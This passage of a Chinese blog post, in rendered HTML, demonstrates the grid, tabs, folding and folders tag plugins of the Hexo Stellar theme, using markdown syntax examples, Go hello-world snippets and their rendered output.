cell --&gt;</span><br><span class="line">cell 4</span><br><span class="line">{% endgrid %}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><p>&#x666E;&#x901A; Box &#x6837;&#x5F0F;&#xFF1A;</p><div class="tag-plugin grid" bg="box" style="grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));"><div class="cell" style>    <p>cell 1</p>    </div>    <div class="cell" style>    <p>cell 2</p>    </div>    <div class="cell" style>    <p>cell 3</p>    </div>    <div class="cell" style>    <p>cell 4</p>    </div>    </div><p>&#x53EF;&#x6D6E;&#x8D77;&#x7684;&#x5361;&#x7247;&#x6837;&#x5F0F;&#xFF1A;</p><div class="tag-plugin grid" bg="card" style="grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));"><div class="cell" style>    <p>cell 1</p>    </div>    <div class="cell" style>    <p>cell 2</p>    </div>    <div class="cell" style>    <p>cell 3</p>    </div>    <div class="cell" style>    <p>cell 4</p>    </div>    </div><p><strong>&#x8BBE;&#x7F6E;&#x95F4;&#x8DDD;&#xFF1A;</strong></p><p>&#x9ED8;&#x8BA4;&#x95F4;&#x8DDD;&#x4E3A; 16px&#xFF0C;&#x5982;&#x679C;&#x9700;&#x8981;&#x4FEE;&#x6539;&#xFF0C;&#x53EF;&#x4EE5;&#x8FD9;&#x6837;&#x5199;&#xFF1A;</p><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">{% grid bg:card gap:32px w:120px %}</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 1</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 2</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 3</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 4</span><br><span class="line">{% endgrid %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin grid" bg="card" style="grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));grid-gap:32px;"><div class="cell" style>    <p>cell 1</p>    </div>    <div class="cell" style>    <p>cell 2</p>    </div>    <div class="cell" style>    <p>cell 3</p>    </div>    <div class="cell" style>    <p>cell 4</p>    </div>    </div><p><strong>&#x8BBE;&#x7F6E;&#x5706;&#x89D2;&#x534A;&#x5F84;</strong><br>&#x9ED8;&#x8BA4;&#x5706;&#x89D2;&#x534A;&#x5F84;&#x7B49;&#x540C;&#x4E8E;&#x5361;&#x7247;&#x7684;&#x5706;&#x89D2;&#x534A;&#x5F84;&#xFF0C;&#x5982;&#x679C;&#x9700;&#x8981;&#x4FEE;&#x6539;&#xFF0C;&#x53EF;&#x4EE5;&#x8FD9;&#x6837;&#x5199;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">{% grid bg:card br:4px w:150px %}</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 1</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 2</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 3</span><br><span class="line">&lt;!-- cell --&gt;</span><br><span class="line">cell 4</span><br><span class="line">{% endgrid %}</span><br></pre></td></tr></table></figure><blockquote><p>&#x8FD9;&#x91CC;&#x7684; br &#x662F; border-radius &#x7684;&#x7F29;&#x5199;&#xFF0C;&#x867D;&#x7136;&#x548C; <code>&lt;br&gt;</code> &#x6613;&#x6DF7;&#x6DC6;.</p></blockquote><p><strong>&#x6548;&#x679C;&#xFF1A;</strong></p><div class="tag-plugin grid" bg="card" style="grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));"><div class="cell" style="border-radius:4px;">    <p>cell 1</p>    </div>    <div class="cell" style="border-radius:4px;">    <p>cell 2</p>    </div>    <div class="cell" style="border-radius:4px;">    <p>cell 3</p>    </div>    <div class="cell" style="border-radius:4px;">    <p>cell 4</p>    </div>    </div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="2-tabs">2. tabs</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% tabs active:1/2 align:center %}</span><br><span class="line">content</span><br><span class="line">{% endtabs %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight plaintext"><figcaption><span>example-in-tags.example</span><a href="/downloads/code/example-in-tags.example">view raw</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">{% tabs active:1/2 align:center %}</span><br><span class="line">&lt;!-- tab &#x56FE;&#x7247; --&gt;</span><br><span class="line">{% image https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824211015.png width:300px %}</span><br><span class="line">&lt;!-- tab &#x4EE3;&#x7801;&#x5757; --&gt;</span><br><span class="line">```go</span><br><span class="line">package main</span><br><span class="line">import &quot;fmt&quot;</span><br><span class="line"></span><br><span class="line">func main() {</span><br><span class="line">fmt.Println(&quot;hello, world!&quot;)</span><br><span class="line">}</span><br><span class="line">```</span><br><span class="line">&lt;!-- tab &#x8868;&#x683C; --&gt;</span><br><span class="line">| a | b | c |</span><br><span class="line">| --- | --- | --- |</span><br><span class="line">| a1 | b1 | c1 |</span><br><span class="line">| a2 | b2 | c2 |</span><br><span class="line">{% endtabs %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin tabs" align="center" id="tab_2"><div class="nav-tabs"><div class="tab active"><a href="#tab_2-1">&#x56FE;&#x7247;</a></div><div class="tab"><a href="#tab_2-2">&#x4EE3;&#x7801;&#x5757;</a></div><div class="tab"><a href="#tab_2-3">&#x8868;&#x683C;</a></div></div><div class="tab-content"><div class="tab-pane active" id="tab_2-1"><div class="tag-plugin image"><div class="image-bg"><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240824211015.png" style="width:300px;"></div></div></div><div class="tab-pane" id="tab_2-2"><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">fmt.Println(<span class="string">&quot;hello, world!&quot;</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><div class="tab-pane" id="tab_2-3"><table><thead><tr><th>a</th><th>b</th><th>c</th></tr></thead><tbody><tr><td>a1</td><td>b1</td><td>c1</td></tr><tr><td>a2</td><td>b2</td><td>c2</td></tr></tbody></table></div></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="3-folding-&#x6298;&#x53E0;">3. folding &#x6298;&#x53E0;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">{% folding [color:yellow] [child:codeblock] [open:false] title %}</span><br><span class="line">&#xA0; body</span><br><span class="line">{% endfolding %}</span><br><span class="line"></span><br><span class="line">child &#x6307;&#x5B9A;&#x5B50;&#x6807;&#x7B7E;&#xFF0C;&#x6BD4;&#x5982; codeblock&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x5B9E;&#x73B0;&#x4E86;&#x5D4C;&#x5957;</span><br><span class="line">codeblock: true/false</span><br><span class="line">open: true/false</span><br><span class="line">color: red/orange/yellow/green/cyan/blue/purple/light/dark</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% folding color:green child:codeblock open:true main.go %}</span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">&#xA0; fmt.Println(<span class="string">&quot;hello world!&quot;</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% endfolding %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><details class="tag-plugin colorful folding" color="green" child="codeblock" open><summary><p>main.go</p></summary><div class="body"><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">&#xA0; fmt.Println(<span class="string">&quot;hello world!&quot;</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div></details><details class="tag-plugin colorful folding" color="yellow"><summary><p>&#x5371;&#x9669;&#xFF0C;&#x4E0D;&#x8981;&#x6253;&#x5F00;</p></summary><div class="body"><p>&#x8B66;&#x544A;+1 <span class="tag-plugin emoji"><img no-lazy class="inline" src="https://gcore.jsdelivr.net/gh/norevi/waline-blobcatemojis@1.0/blobs/ablobcatattentionreverse.png"></span></p><details class="tag-plugin colorful folding" color="orange"><summary><p>&#x771F;&#x7684;&#x5371;&#x9669;&#xFF0C;&#x4E0D;&#x8981;&#x6253;&#x5F00;</p></summary><div class="body"><p>&#x8B66;&#x544A;+1 <span class="tag-plugin emoji"><img no-lazy class="inline" src="https://gcore.jsdelivr.net/gh/norevi/waline-blobcatemojis@1.0/blobs/ablobcatattentionreverse.png"></span></p><details class="tag-plugin colorful folding" color="red"><summary><p>&#x6700;&#x540E;&#x4E00;&#x6B21;&#x8B66;&#x544A;&#xFF0C;&#x4E0D;&#x8981;&#x6253;&#x5F00;</p></summary><div class="body"><p>&#x8B66;&#x544A;+1 <span class="tag-plugin emoji"><img no-lazy class="inline" src="https://gcore.jsdelivr.net/gh/cdn-x/emoji/tieba/&#x6ED1;&#x7A3D;.png"></span><br><a class="tag-plugin colorful button" color="green" title="&#x8BF7;&#x79D1;&#x5B66;&#x63A2;&#x7D22;" href="https://github.com/xaoxuu/hexo-theme-stellar/"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span>&#x8BF7;&#x79D1;&#x5B66;&#x63A2;&#x7D22;</span></a></p><div class="tag-plugin video" style="aspect-ratio:1.7777777777777777;max-width:100%;">    <iframe style="border:none" src="https://www.youtube.com/embed/LB8KwiiUGy0?rel=0&amp;disablekb=1&amp;playsinline=1&amp;autoplay=0" picture-in-picture="true" allowfullscreen="true">    </iframe>    </div></div></details></div></details></div></details><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="4-folders-&#x6298;&#x53E0;">4. folders &#x6298;&#x53E0;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">{% folders [color:white] %}</span><br><span class="line">&lt;!-- folder [title 1] --&gt;</span><br><span class="line">body 1</span><br><span class="line">&lt;!-- folder [title 2] --&gt;</span><br><span class="line">body 2</span><br><span class="line">{% endfolders %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">{% folders color:white %}</span><br><span class="line">&lt;!-- folder title 1 --&gt;</span><br><span class="line">body 1</span><br><span class="line">&lt;!-- folder title 2 --&gt;</span><br><span class="line">body 2</span><br><span class="line">{% endfolders %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin colorful folders" color="white"><details class="folder" index="0"><summary><p>title 1</p></summary><div class="body"><p>body 1</p></div></details><details class="folder" index="1"><summary><p>title 2</p></summary><div class="body"><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">&#xA0; fmt.Println(<span class="string">&quot;hello world!&quot;</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div></details><details class="folder" index="2"><summary><p>title 3</p></summary><div class="body"><p>body 3</p></div></details></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" 